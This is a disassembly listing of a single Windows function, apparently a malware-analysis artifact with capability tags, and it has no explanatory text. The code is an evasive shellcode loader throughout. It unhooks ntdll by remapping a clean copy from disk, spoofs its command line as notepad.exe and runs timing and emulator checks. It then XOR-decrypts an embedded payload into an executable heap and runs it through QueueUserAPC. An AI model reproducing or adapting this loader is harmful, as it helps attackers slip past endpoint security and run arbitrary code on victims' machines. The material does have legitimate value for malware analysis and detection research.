Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x848
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7f0], ecx
mov qword [rbp + 0x7f8], rdx
call fcn.140002790
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x748], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x7b8], 0x10e
mov dword [rbp + 0x7bc], 0x10e
jmp 0x1400014cd
sub dword [rbp + 0x7b8], 1
sub dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x24
jg 0x1400014bf
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
jne 0x14000155a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
je 0x140001c16
mov dword [rbp + 0x7ac], 0x2bc
jmp 0x14000157b
sub dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0
jg 0x140001574
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
mov rax, qword [rbp + 0x738]
mov r10, qword [rbp + 0x7b0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x730], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x710], rax
mov ecx, 0xff0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov ecx, 0xff0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov ecx, 0xff0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x7a8], 0
jmp 0x1400017b0
mov dword [rbp + 0x7a4], 0
jmp 0x14000179c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x708]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7a4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x700]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7a4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0xe
jle 0x1400016d5
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x43
jle 0x1400016c6
mov dword [rbp + 0x7a8], 0
jmp 0x14000188d
mov dword [rbp + 0x7a4], 0
jmp 0x140001879
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x708]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x700]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x7a4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0xe
jle 0x1400017db
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x43
jle 0x1400017cc
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x730]
add rax, rdx
mov qword [rbp + 0x6f0], rax
mov word [rbp + 0x7a2], 0
jmp 0x140001bfe
mov rax, qword [rbp + 0x6f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7a2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x6e4], 1
mov ecx, 0x990
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov qword [rbp + 0x798], 2
jmp 0x14000197e
mov rax, qword [rbp + 0x798]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x798], 1
cmp qword [rbp + 0x798], 0x263
jbe 0x140001957
mov qword [rbp + 0x798], 2
jmp 0x140001a15
mov rax, qword [rbp + 0x798]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a0d
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x790], rax
jmp 0x1400019f6
mov rax, qword [rbp + 0x798]
imul rax, qword [rbp + 0x790]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x790], 1
mov rax, qword [rbp + 0x798]
imul rax, qword [rbp + 0x790]
cmp rax, 0x263
jbe 0x1400019c7
add qword [rbp + 0x798], 1
cmp qword [rbp + 0x798], 0x263
jbe 0x140001998
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bed
mov dword [rbp + 0x578], 0
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x718]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x788], 1
jmp 0x140001b9b
mov dword [rbp + 0x78c], 0
mov eax, dword [rbp + 0x788]
mov dword [rbp + 0x784], eax
jmp 0x140001b71
mov edx, dword [rbp + 0x784]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x6d0], edx
mov eax, dword [rbp + 0x6d0]
imul eax, eax
imul eax, dword [rbp + 0x6d0]
add dword [rbp + 0x78c], eax
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x784], eax
cmp dword [rbp + 0x784], 0
jne 0x140001b06
mov eax, dword [rbp + 0x78c]
cmp eax, dword [rbp + 0x788]
jne 0x140001b94
mov eax, dword [rbp + 0x788]
mov dword [rbp + 0x6d4], eax
add dword [rbp + 0x788], 1
cmp dword [rbp + 0x788], 0x67
jle 0x140001aee
mov edx, dword [rbp + 0x578]
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7a2]
add eax, 1
mov word [rbp + 0x7a2], ax
mov rax, qword [rbp + 0x6f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7a2], ax
jb 0x1400018f3
mov dword [rbp + 0x57c], 0
mov rax, qword [rbp + 0x748]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x57c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x588]
add rax, 0x3c
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.pyfbnsjvqcptdn.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
jne 0x1400026c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6ac], eax
mov ecx, 0x37d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6b0]
call rax
mov dword [rbp + 0x6a8], eax
mov eax, dword [rbp + 0x6a8]
sub eax, dword [rbp + 0x6ac]
cmp eax, 0x34b
jbe 0x1400026c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
jne 0x1400026c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140001dff
mov rax, qword [rbp + 0x690]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov ecx, 0
call rax
mov dword [rbp + 0x780], eax
cmp dword [rbp + 0x780], 0xffffffff
je 0x1400026c3
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
jne 0x1400026c3
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
jne 0x1400026c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
call rax
mov dword [rbp + 0x66c], eax
mov ecx, 0x2be
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x670]
call rax
mov dword [rbp + 0x668], eax
mov eax, dword [rbp + 0x668]
sub eax, dword [rbp + 0x66c]
cmp eax, 0x28c
jbe 0x1400026c3
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
jne 0x1400026c3
mov qword [rbp + 0x658], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x650]
mov r9d, 0x3000
mov r8d, 0x408
mov edx, 0
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x1400026c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
jne 0x1400026c3
lea rax, [rbp + 0x70]
lea rdx, [0x140005138]
mov ecx, 0xa0
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x740]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x638]
mov r8d, 0
mov edx, 0x505
mov ecx, 0x40000
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x630]
mov r8d, 0x505
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x618]
mov r8d, 0x505
mov rcx, rax
call r9
mov dword [rbp + 0x77c], 0
mov dword [rbp + 0x778], 0
mov dword [rbp + 0x774], 0
movabs rax, 0x2e38b115db685540
movabs rdx, 0x461484924f0669a1
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x5762b1ec884c3b87
movabs rdx, 0x3bdc423f954af996
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov word [rbp - 0x20], 0xdb
movabs rax, 0xffa2e060a3ae1b92
movabs rdx, 0x2af92dc683dd4b31
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x6aa66a0c037822da
movabs rdx, 0x61fa2f93a4932b9e
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x31c276fc719ab884
movabs rdx, 0x8eed14ac14609e71
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x5e8eed14ac14609e
movabs rdx, 0xabd79740e2026c
mov qword [rbp + 0x59], rax
mov qword [rbp + 0x61], rdx
jmp 0x1400023a6
mov ecx, 0x98c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov dword [rbp + 0x76c], 0
mov dword [rbp + 0x5d4], 0
mov dword [rbp + 0x770], 0
jmp 0x140002233
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x770]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x262
jle 0x1400021e7
mov dword [rbp + 0x770], 0
jmp 0x140002274
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x76c], eax
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x262
jle 0x14000224b
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x77c]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x778]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x77c]
cdqe
mov byte [rbp + rax - 0x10], dl
cmp dword [rbp + 0x778], 0x20
jne 0x1400022cc
mov dword [rbp + 0x778], 0
jmp 0x1400022d3
add dword [rbp + 0x778], 1
mov dword [rbp + 0x764], 1
jmp 0x14000238f
mov dword [rbp + 0x768], 0
mov eax, dword [rbp + 0x764]
mov dword [rbp + 0x760], eax
jmp 0x140002365
mov edx, dword [rbp + 0x760]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5cc], edx
mov eax, dword [rbp + 0x5cc]
imul eax, eax
imul eax, dword [rbp + 0x5cc]
add dword [rbp + 0x768], eax
mov eax, dword [rbp + 0x760]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x760], eax
cmp dword [rbp + 0x760], 0
jne 0x1400022fa
mov eax, dword [rbp + 0x768]
cmp eax, dword [rbp + 0x764]
jne 0x140002388
mov eax, dword [rbp + 0x764]
mov dword [rbp + 0x5d0], eax
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0xfd
jle 0x1400022e2
add dword [rbp + 0x77c], 1
mov eax, dword [rbp + 0x77c]
cmp eax, 0x37
jbe 0x1400021b6
mov ecx, 0x830
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov ecx, 0x830
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x758], 0x20b
mov dword [rbp + 0x75c], 0
jmp 0x14000247d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x610]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x758], 1
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x20b
jle 0x1400023f0
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x77c], 0
jmp 0x1400025cf
mov eax, dword [rbp + 0x77c]
movsxd rdx, eax
mov rax, qword [rbp + 0x620]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x774]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x77c]
movsxd rdx, eax
mov rax, qword [rbp + 0x620]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x754], 0xffffffff
mov ecx, 0x18d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
add dword [rbp + 0x754], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
movsd xmm1, qword [0x140005640]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x754]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x754], 0x319
jle 0x140002513
cmp dword [rbp + 0x774], 0x37
jne 0x1400025c1
mov dword [rbp + 0x774], 0
jmp 0x1400025c8
add dword [rbp + 0x774], 1
add dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0x504
jle 0x1400024ba
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x600]
mov r9, qword [rbp + 0x5f8]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x750], 0
jmp 0x1400026a4
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005640]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003780
movq rax, xmm0
mov qword [rbp + 0x5e8], rax
add dword [rbp + 0x750], 1
cmp dword [rbp + 0x750], 0x266
jle 0x140002661
mov rax, qword [rbp + 0x5f0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x848
pop rbx
pop rsi
pop rdi
pop rbp
ret